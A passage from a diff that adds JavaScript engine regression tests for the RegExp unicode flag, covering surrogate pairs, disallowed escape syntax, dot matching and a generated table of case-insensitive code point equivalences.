+assertThrowsInstanceOf(() => eval(`/[\\D-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\S]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-raw.js b/js/src/tests/ecma_6/RegExp/unicode-class-raw.js
new file mode 100644
index 000000000..742fec2b4
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-raw.js
@@ -0,0 +1,65 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/[\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/[\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/[\\uD83D\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\\u{D83D}\uDC38]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/[\uD83D\\uDC38]/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/[\uD83D\\u{DC38}]/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/[\\uD83D\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/[\uD83D\\uDC38]/`).exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(lead)
+assertEq(new RegExp("[\\uD83D\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\\u{D83D}\uDC38]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
+assertEq(new RegExp("[\uD83D\\uDC38]", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("[\uD83D\\u{DC38}]", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("[\\uD83D\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("[\uD83D\\uDC38]", "").exec("\u{1F438}"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-disallow-extended.js b/js/src/tests/ecma_6/RegExp/unicode-disallow-extended.js
new file mode 100644
index 000000000..d1f775fac
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-disallow-extended.js
@@ -0,0 +1,117 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow extended patterns.";
+
+print(BUGNUMBER + ": " + summary);
+
+// IdentityEscape
+
+assertEqArray(/\^\$\\\.\*\+\?\(\)\[\]\{\}\|/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/\\A/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\-/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U{10}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\U0000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\U0000/u`), SyntaxError);
+
+assertEqArray(/[\^\$\\\.\*\+\?\(\)\[\]\{\}\|]+/u.exec("^$\\.*+?()[]{}|"),
+ ["^$\\.*+?()[]{}|"]);
+assertThrowsInstanceOf(() => eval(`/[\\A]/u`), SyntaxError);
+assertEqArray(/[A\-Z]+/u.exec("a-zABC"),
+ ["-"]);
+assertThrowsInstanceOf(() => eval(`/[\\U{10}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\U0000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\U0000]/u`), SyntaxError);
+
+// PatternCharacter
+assertThrowsInstanceOf(() => eval(`/{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/{1,2}/u`), SyntaxError);
+
+// QuantifiableAssertion
+assertEqArray(/.B(?=A)/u.exec("cBaCBA"),
+ ["CB"]);
+assertEqArray(/.B(?!A)/u.exec("CBAcBa"),
+ ["cB"]);
+assertEqArray(/.B(?:A)/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+assertThrowsInstanceOf(() => eval(`/.B(?=A)+/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/.B(?!A)+/u`), SyntaxError);
+assertEqArray(/.B(?:A)+/u.exec("cBaCBA"),
+ ["CBA"]);
+assertEqArray(/.B(A)+/u.exec("cBaCBA"),
+ ["CBA", "A"]);
+
+// ControlLetter
+assertEqArray(/\cA/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cZ/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/\ca/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/\cz/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertEqArray(/[\cA]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cZ]/u.exec("\u001a"),
+ ["\u001a"]);
+assertEqArray(/[\ca]/u.exec("\u0001"),
+ ["\u0001"]);
+assertEqArray(/[\cz]/u.exec("\u001a"),
+ ["\u001a"]);
+
+assertThrowsInstanceOf(() => eval(`/\\c/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\c_/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\c]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c1]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\c_]/u`), SyntaxError);
+
+// HexEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\x/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\x1G/u`), SyntaxError);
+
+// LegacyOctalEscapeSequence
+assertThrowsInstanceOf(() => eval(`/\\52/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\052/u`), SyntaxError);
+
+// DecimalEscape
+assertEqArray(/\0/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/[\0]/u.exec("\0"),
+ ["\0"]);
+assertEqArray(/\0A/u.exec("\0A"),
+ ["\0A"]);
+assertEqArray(/\0G/u.exec("\0G"),
+ ["\0G"]);
+assertEqArray(/(A.)\1/u.exec("ABACABAB"),
+ ["ABAB", "AB"]);
+assertEqArray(/(A.)(B.)(C.)(D.)(E.)(F.)(G.)(H.)(I.)(J.)(K.)\10/u.exec("A1B2C3D4E5F6G7H8I9JaKbJa"),
+ ["A1B2C3D4E5F6G7H8I9JaKbJa", "A1", "B2", "C3", "D4", "E5", "F6", "G7", "H8", "I9", "Ja", "Kb"]);
+
+assertThrowsInstanceOf(() => eval(`/\\00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\01/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\09/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\1/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\2/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\3/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\4/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\5/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\6/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\7/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\8/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\9/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\10/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-everything.js b/js/src/tests/ecma_6/RegExp/unicode-everything.js
new file mode 100644
index 000000000..a18ac2867
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-everything.js
@@ -0,0 +1,59 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- everything Atom.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/./u.exec("ABC"),
+ ["A"]);
+assertEqArray(/./u.exec("\u{1F438}BC"),
+ ["\u{1F438}"]);
+
+assertEqArray(/./u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/./u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/./u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/./u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+assertEqArray(/./u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/./u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/./u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/./u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+assertEqArray(/./u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/./u.exec("A\uDC38"),
+ ["A"]);
+
+assertEqArray(/.A/u.exec("\uD7FF\uDC38A"),
+ ["\uDC38A"]);
+assertEqArray(/.A/u.exec("\uD800\uDC38A"),
+ ["\uD800\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDBFF\uDC38A"),
+ ["\uDBFF\uDC38A"]);
+assertEqArray(/.A/u.exec("\uDC00\uDC38A"),
+ ["\uDC38A"]);
+
+// ==== leading multiple ====
+
+assertEqArray(/.*A/u.exec("\u{1F438}\u{1F438}\u{1F438}A"),
+ ["\u{1F438}\u{1F438}\u{1F438}A"]);
+
+// ==== trailing multiple ====
+
+assertEqArray(/A.*/u.exec("A\u{1F438}\u{1F438}\u{1F438}"),
+ ["A\u{1F438}\u{1F438}\u{1F438}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-ascii.js b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-ascii.js
new file mode 100644
index 000000000..6d453290e
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-ascii.js
@@ -0,0 +1,45 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with non-ascii to ascii map.";
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN CAPITAL LETTER Y WITH DIAERESIS
+assertEqArray(/\u0178/iu.exec("\u00FF"),
+ ["\u00FF"]);
+assertEqArray(/\u00FF/iu.exec("\u0178"),
+ ["\u0178"]);
+
+// LATIN SMALL LETTER LONG S
+assertEqArray(/\u017F/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\u017F/iu.exec("s"),
+ ["s"]);
+assertEqArray(/S/iu.exec("\u017F"),
+ ["\u017F"]);
+assertEqArray(/s/iu.exec("\u017F"),
+ ["\u017F"]);
+
+// LATIN CAPITAL LETTER SHARP S
+assertEqArray(/\u1E9E/iu.exec("\u00DF"),
+ ["\u00DF"]);
+assertEqArray(/\u00DF/iu.exec("\u1E9E"),
+ ["\u1E9E"]);
+
+// KELVIN SIGN
+assertEqArray(/\u212A/iu.exec("K"),
+ ["K"]);
+assertEqArray(/\u212A/iu.exec("k"),
+ ["k"]);
+assertEqArray(/K/iu.exec("\u212A"),
+ ["\u212A"]);
+assertEqArray(/k/iu.exec("\u212A"),
+ ["\u212A"]);
+
+// ANGSTROM SIGN
+assertEqArray(/\u212B/iu.exec("\u00E5"),
+ ["\u00E5"]);
+assertEqArray(/\u00E5/iu.exec("\u212B"),
+ ["\u212B"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-escape.js b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-escape.js
new file mode 100644
index 000000000..d731fb6bb
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-escape.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with character class escape.";
+
+// \W doesn't match S or K from the change in
+// https://github.com/tc39/ecma262/pull/525
+// (bug 1281739)
+
+print(BUGNUMBER + ": " + summary);
+
+// LATIN SMALL LETTER LONG S
+
+assertEqArray(/\w/iu.exec("S"),
+ ["S"]);
+assertEqArray(/\w/iu.exec("s"),
+ ["s"]);
+assertEqArray(/\w/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEqArray(/[^\W]/iu.exec("S"),
+ ["S"]);
+assertEqArray(/[^\W]/iu.exec("s"),
+ ["s"]);
+assertEqArray(/[^\W]/iu.exec("\u017F"),
+ ["\u017F"]);
+
+assertEq(/\W/iu.exec("S"),
+ null);
+assertEq(/\W/iu.exec("s"),
+ null);
+assertEq(/\W/iu.exec("\u017F"),
+ null);
+
+assertEq(/[^\w]/iu.exec("S"),
+ null);
+assertEq(/[^\w]/iu.exec("s"),
+ null);
+assertEq(/[^\w]/iu.exec("\u017F"),
+ null);
+
+// KELVIN SIGN
+
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("k"),
+ ["k"]);
+assertEqArray(/\w/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("k"),
+ ["k"]);
+assertEqArray(/[^\W]/iu.exec("\u212A"),
+ ["\u212A"]);
+
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("k"),
+ null);
+assertEq(/\W/iu.exec("\u212A"),
+ null);
+
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("k"),
+ null);
+assertEq(/[^\w]/iu.exec("\u212A"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-negated.js b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-negated.js
new file mode 100644
index 000000000..30909a515
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase-negated.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag with negated character class.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[^A]/iu.exec("A"),
+ null);
+assertEq(/[^a]/iu.exec("A"),
+ null);
+assertEq(/[^A]/iu.exec("a"),
+ null);
+assertEq(/[^a]/iu.exec("a"),
+ null);
+
+assertEqArray(/[^A]/iu.exec("b"),
+ ["b"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-ignoreCase.js b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase.js
new file mode 100644
index 000000000..28b2e77dc
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-ignoreCase.js
@@ -0,0 +1,2643 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 9.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(code, ...equivs) {
+ var codeRe = new RegExp(String.fromCodePoint(code) + "+", "iu");
+ var ans = String.fromCodePoint(code) + equivs.map(c => String.fromCodePoint(c)).join("");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+ codeRe = new RegExp("[" + String.fromCodePoint(code) + "]+", "iu");
+ assertEqArray(codeRe.exec("<" + ans + ">"), [ans]);
+}
+test(0x41,0x61);
+test(0x42,0x62);
+test(0x43,0x63);
+test(0x44,0x64);
+test(0x45,0x65);
+test(0x46,0x66);
+test(0x47,0x67);
+test(0x48,0x68);
+test(0x49,0x69);
+test(0x4a,0x6a);
+test(0x4b,0x6b,0x212a);
+test(0x4c,0x6c);
+test(0x4d,0x6d);
+test(0x4e,0x6e);
+test(0x4f,0x6f);
+test(0x50,0x70);
+test(0x51,0x71);
+test(0x52,0x72);
+test(0x53,0x73,0x17f);
+test(0x54,0x74);
+test(0x55,0x75);
+test(0x56,0x76);
+test(0x57,0x77);
+test(0x58,0x78);
+test(0x59,0x79);
+test(0x5a,0x7a);
+test(0x61,0x41);
+test(0x62,0x42);
+test(0x63,0x43);
+test(0x64,0x44);
+test(0x65,0x45);
+test(0x66,0x46);
+test(0x67,0x47);
+test(0x68,0x48);
+test(0x69,0x49);
+test(0x6a,0x4a);
+test(0x6b,0x4b,0x212a);
+test(0x6c,0x4c);
+test(0x6d,0x4d);
+test(0x6e,0x4e);
+test(0x6f,0x4f);
+test(0x70,0x50);
+test(0x71,0x51);
+test(0x72,0x52);
+test(0x73,0x53,0x17f);
+test(0x74,0x54);
+test(0x75,0x55);
+test(0x76,0x56);
+test(0x77,0x57);
+test(0x78,0x58);
+test(0x79,0x59);
+test(0x7a,0x5a);
+test(0xb5,0x3bc,0x39c);
+test(0xc0,0xe0);
+test(0xc1,0xe1);
+test(0xc2,0xe2);
+test(0xc3,0xe3);
+test(0xc4,0xe4);
+test(0xc5,0xe5,0x212b);
+test(0xc6,0xe6);
+test(0xc7,0xe7);
+test(0xc8,0xe8);
+test(0xc9,0xe9);
+test(0xca,0xea);
+test(0xcb,0xeb);
+test(0xcc,0xec);
+test(0xcd,0xed);
+test(0xce,0xee);
+test(0xcf,0xef);
+test(0xd0,0xf0);
+test(0xd1,0xf1);
+test(0xd2,0xf2);
+test(0xd3,0xf3);
+test(0xd4,0xf4);
+test(0xd5,0xf5);
+test(0xd6,0xf6);
+test(0xd8,0xf8);
+test(0xd9,0xf9);
+test(0xda,0xfa);
+test(0xdb,0xfb);
+test(0xdc,0xfc);
+test(0xdd,0xfd);
+test(0xde,0xfe);
+test(0xdf,0x1e9e);
+test(0xe0,0xc0);
+test(0xe1,0xc1);
+test(0xe2,0xc2);
+test(0xe3,0xc3);
+test(0xe4,0xc4);
+test(0xe5,0xc5,0x212b);
+test(0xe6,0xc6);
+test(0xe7,0xc7);
+test(0xe8,0xc8);
+test(0xe9,0xc9);
+test(0xea,0xca);
+test(0xeb,0xcb);
+test(0xec,0xcc);
+test(0xed,0xcd);
+test(0xee,0xce);
+test(0xef,0xcf);
+test(0xf0,0xd0);
+test(0xf1,0xd1);
+test(0xf2,0xd2);
+test(0xf3,0xd3);
+test(0xf4,0xd4);
+test(0xf5,0xd5);
+test(0xf6,0xd6);
+test(0xf8,0xd8);
+test(0xf9,0xd9);
+test(0xfa,0xda);
+test(0xfb,0xdb);
+test(0xfc,0xdc);
+test(0xfd,0xdd);
+test(0xfe,0xde);
+test(0xff,0x178);
+test(0x100,0x101);
+test(0x101,0x100);
+test(0x102,0x103);
+test(0x103,0x102);
+test(0x104,0x105);
+test(0x105,0x104);
+test(0x106,0x107);
+test(0x107,0x106);
+test(0x108,0x109);
+test(0x109,0x108);
+test(0x10a,0x10b);
+test(0x10b,0x10a);
+test(0x10c,0x10d);
+test(0x10d,0x10c);
+test(0x10e,0x10f);
+test(0x10f,0x10e);
+test(0x110,0x111);
+test(0x111,0x110);
+test(0x112,0x113);
+test(0x113,0x112);
+test(0x114,0x115);
+test(0x115,0x114);
+test(0x116,0x117);
+test(0x117,0x116);
+test(0x118,0x119);
+test(0x119,0x118);
+test(0x11a,0x11b);
+test(0x11b,0x11a);
+test(0x11c,0x11d);
+test(0x11d,0x11c);
+test(0x11e,0x11f);
+test(0x11f,0x11e);
+test(0x120,0x121);
+test(0x121,0x120);
+test(0x122,0x123);
+test(0x123,0x122);
+test(0x124,0x125);
+test(0x125,0x124);
+test(0x126,0x127);
+test(0x127,0x126);
+test(0x128,0x129);
+test(0x129,0x128);
+test(0x12a,0x12b);
+test(0x12b,0x12a);
+test(0x12c,0x12d);
+test(0x12d,0x12c);
+test(0x12e,0x12f);
+test(0x12f,0x12e);
+test(0x132,0x133);
+test(0x133,0x132);
+test(0x134,0x135);
+test(0x135,0x134);
+test(0x136,0x137);
+test(0x137,0x136);
+test(0x139,0x13a);
+test(0x13a,0x139);
+test(0x13b,0x13c);
+test(0x13c,0x13b);
+test(0x13d,0x13e);
+test(0x13e,0x13d);
+test(0x13f,0x140);
+test(0x140,0x13f);
+test(0x141,0x142);
+test(0x142,0x141);
+test(0x143,0x144);
+test(0x144,0x143);
+test(0x145,0x146);
+test(0x146,0x145);
+test(0x147,0x148);
+test(0x148,0x147);
+test(0x14a,0x14b);
+test(0x14b,0x14a);
+test(0x14c,0x14d);
+test(0x14d,0x14c);
+test(0x14e,0x14f);
+test(0x14f,0x14e);
+test(0x150,0x151);
+test(0x151,0x150);
+test(0x152,0x153);
+test(0x153,0x152);
+test(0x154,0x155);
+test(0x155,0x154);
+test(0x156,0x157);
+test(0x157,0x156);
+test(0x158,0x159);
+test(0x159,0x158);
+test(0x15a,0x15b);
+test(0x15b,0x15a);
+test(0x15c,0x15d);
+test(0x15d,0x15c);
+test(0x15e,0x15f);
+test(0x15f,0x15e);
+test(0x160,0x161);
+test(0x161,0x160);
+test(0x162,0x163);
+test(0x163,0x162);
+test(0x164,0x165);
+test(0x165,0x164);
+test(0x166,0x167);
+test(0x167,0x166);
+test(0x168,0x169);
+test(0x169,0x168);
+test(0x16a,0x16b);
+test(0x16b,0x16a);
+test(0x16c,0x16d);
+test(0x16d,0x16c);
+test(0x16e,0x16f);
+test(0x16f,0x16e);
+test(0x170,0x171);
+test(0x171,0x170);
+test(0x172,0x173);
+test(0x173,0x172);
+test(0x174,0x175);
+test(0x175,0x174);
+test(0x176,0x177);
+test(0x177,0x176);
+test(0x178,0xff);
+test(0x179,0x17a);
+test(0x17a,0x179);
+test(0x17b,0x17c);
+test(0x17c,0x17b);
+test(0x17d,0x17e);
+test(0x17e,0x17d);
+test(0x17f,0x73,0x53);
+test(0x180,0x243);
+test(0x181,0x253);
+test(0x182,0x183);
+test(0x183,0x182);
+test(0x184,0x185);
+test(0x185,0x184);
+test(0x186,0x254);
+test(0x187,0x188);
+test(0x188,0x187);
+test(0x189,0x256);
+test(0x18a,0x257);
+test(0x18b,0x18c);
+test(0x18c,0x18b);
+test(0x18e,0x1dd);
+test(0x18f,0x259);
+test(0x190,0x25b);
+test(0x191,0x192);
+test(0x192,0x191);
+test(0x193,0x260);
+test(0x194,0x263);
+test(0x195,0x1f6);
+test(0x196,0x269);
+test(0x197,0x268);
+test(0x198,0x199);
+test(0x199,0x198);
+test(0x19a,0x23d);
+test(0x19c,0x26f);
+test(0x19d,0x272);
+test(0x19e,0x220);
+test(0x19f,0x275);
+test(0x1a0,0x1a1);
+test(0x1a1,0x1a0);
+test(0x1a2,0x1a3);
+test(0x1a3,0x1a2);
+test(0x1a4,0x1a5);
+test(0x1a5,0x1a4);
+test(0x1a6,0x280);
+test(0x1a7,0x1a8);
+test(0x1a8,0x1a7);
+test(0x1a9,0x283);
+test(0x1ac,0x1ad);
+test(0x1ad,0x1ac);
+test(0x1ae,0x288);
+test(0x1af,0x1b0);
+test(0x1b0,0x1af);
+test(0x1b1,0x28a);
+test(0x1b2,0x28b);
+test(0x1b3,0x1b4);
+test(0x1b4,0x1b3);
+test(0x1b5,0x1b6);
+test(0x1b6,0x1b5);
+test(0x1b7,0x292);
+test(0x1b8,0x1b9);
+test(0x1b9,0x1b8);
+test(0x1bc,0x1bd);
+test(0x1bd,0x1bc);
+test(0x1bf,0x1f7);
+test(0x1c4,0x1c6,0x1c5);
+test(0x1c5,0x1c6,0x1c4);
+test(0x1c6,0x1c4,0x1c5);
+test(0x1c7,0x1c9,0x1c8);
+test(0x1c8,0x1c9,0x1c7);
+test(0x1c9,0x1c7,0x1c8);
+test(0x1ca,0x1cc,0x1cb);
+test(0x1cb,0x1cc,0x1ca);
+test(0x1cc,0x1ca,0x1cb);
+test(0x1cd,0x1ce);
+test(0x1ce,0x1cd);
+test(0x1cf,0x1d0);
+test(0x1d0,0x1cf);
+test(0x1d1,0x1d2);
+test(0x1d2,0x1d1);
+test(0x1d3,0x1d4);
+test(0x1d4,0x1d3);
+test(0x1d5,0x1d6);
+test(0x1d6,0x1d5);
+test(0x1d7,0x1d8);
+test(0x1d8,0x1d7);
+test(0x1d9,0x1da);
+test(0x1da,0x1d9);
+test(0x1db,0x1dc);
+test(0x1dc,0x1db);
+test(0x1dd,0x18e);
+test(0x1de,0x1df);
+test(0x1df,0x1de);
+test(0x1e0,0x1e1);
+test(0x1e1,0x1e0);
+test(0x1e2,0x1e3);
+test(0x1e3,0x1e2);
+test(0x1e4,0x1e5);
+test(0x1e5,0x1e4);
+test(0x1e6,0x1e7);
+test(0x1e7,0x1e6);
+test(0x1e8,0x1e9);
+test(0x1e9,0x1e8);
+test(0x1ea,0x1eb);
+test(0x1eb,0x1ea);
+test(0x1ec,0x1ed);
+test(0x1ed,0x1ec);
+test(0x1ee,0x1ef);
+test(0x1ef,0x1ee);
+test(0x1f1,0x1f3,0x1f2);
+test(0x1f2,0x1f3,0x1f1);
+test(0x1f3,0x1f1,0x1f2);
+test(0x1f4,0x1f5);
+test(0x1f5,0x1f4);
+test(0x1f6,0x195);
+test(0x1f7,0x1bf);
+test(0x1f8,0x1f9);
+test(0x1f9,0x1f8);
+test(0x1fa,0x1fb);
+test(0x1fb,0x1fa);
+test(0x1fc,0x1fd);
+test(0x1fd,0x1fc);
+test(0x1fe,0x1ff);
+test(0x1ff,0x1fe);
+test(0x200,0x201);
+test(0x201,0x200);
+test(0x202,0x203);
+test(0x203,0x202);
+test(0x204,0x205);
+test(0x205,0x204);
+test(0x206,0x207);
+test(0x207,0x206);
+test(0x208,0x209);
+test(0x209,0x208);
+test(0x20a,0x20b);
+test(0x20b,0x20a);
+test(0x20c,0x20d);
+test(0x20d,0x20c);
+test(0x20e,0x20f);
+test(0x20f,0x20e);
+test(0x210,0x211);
+test(0x211,0x210);
+test(0x212,0x213);
+test(0x213,0x212);
+test(0x214,0x215);
+test(0x215,0x214);
+test(0x216,0x217);
+test(0x217,0x216);
+test(0x218,0x219);
+test(0x219,0x218);
+test(0x21a,0x21b);
+test(0x21b,0x21a);
+test(0x21c,0x21d);
+test(0x21d,0x21c);
+test(0x21e,0x21f);
+test(0x21f,0x21e);
+test(0x220,0x19e);
+test(0x222,0x223);
+test(0x223,0x222);
+test(0x224,0x225);
+test(0x225,0x224);
+test(0x226,0x227);
+test(0x227,0x226);
+test(0x228,0x229);
+test(0x229,0x228);
+test(0x22a,0x22b);
+test(0x22b,0x22a);
+test(0x22c,0x22d);
+test(0x22d,0x22c);
+test(0x22e,0x22f);
+test(0x22f,0x22e);
+test(0x230,0x231);
+test(0x231,0x230);
+test(0x232,0x233);
+test(0x233,0x232);
+test(0x23a,0x2c65);
+test(0x23b,0x23c);
+test(0x23c,0x23b);
+test(0x23d,0x19a);
+test(0x23e,0x2c66);
+test(0x23f,0x2c7e);
+test(0x240,0x2c7f);
+test(0x241,0x242);
+test(0x242,0x241);
+test(0x243,0x180);
+test(0x244,0x289);
+test(0x245,0x28c);
+test(0x246,0x247);
+test(0x247,0x246);
+test(0x248,0x249);
+test(0x249,0x248);
+test(0x24a,0x24b);
+test(0x24b,0x24a);
+test(0x24c,0x24d);
+test(0x24d,0x24c);
+test(0x24e,0x24f);
+test(0x24f,0x24e);
+test(0x250,0x2c6f);
+test(0x251,0x2c6d);
+test(0x252,0x2c70);
+test(0x253,0x181);
+test(0x254,0x186);
+test(0x256,0x189);
+test(0x257,0x18a);
+test(0x259,0x18f);
+test(0x25b,0x190);
+test(0x25c,0xa7ab);
+test(0x260,0x193);
+test(0x261,0xa7ac);
+test(0x263,0x194);
+test(0x265,0xa78d);
+test(0x266,0xa7aa);
+test(0x268,0x197);
+test(0x269,0x196);
+test(0x26a,0xa7ae);
+test(0x26b,0x2c62);
+test(0x26c,0xa7ad);
+test(0x26f,0x19c);
+test(0x271,0x2c6e);
+test(0x272,0x19d);
+test(0x275,0x19f);
+test(0x27d,0x2c64);
+test(0x280,0x1a6);
+test(0x283,0x1a9);
+test(0x287,0xa7b1);
+test(0x288,0x1ae);
+test(0x289,0x244);
+test(0x28a,0x1b1);
+test(0x28b,0x1b2);
+test(0x28c,0x245);
+test(0x292,0x1b7);
+test(0x29d,0xa7b2);
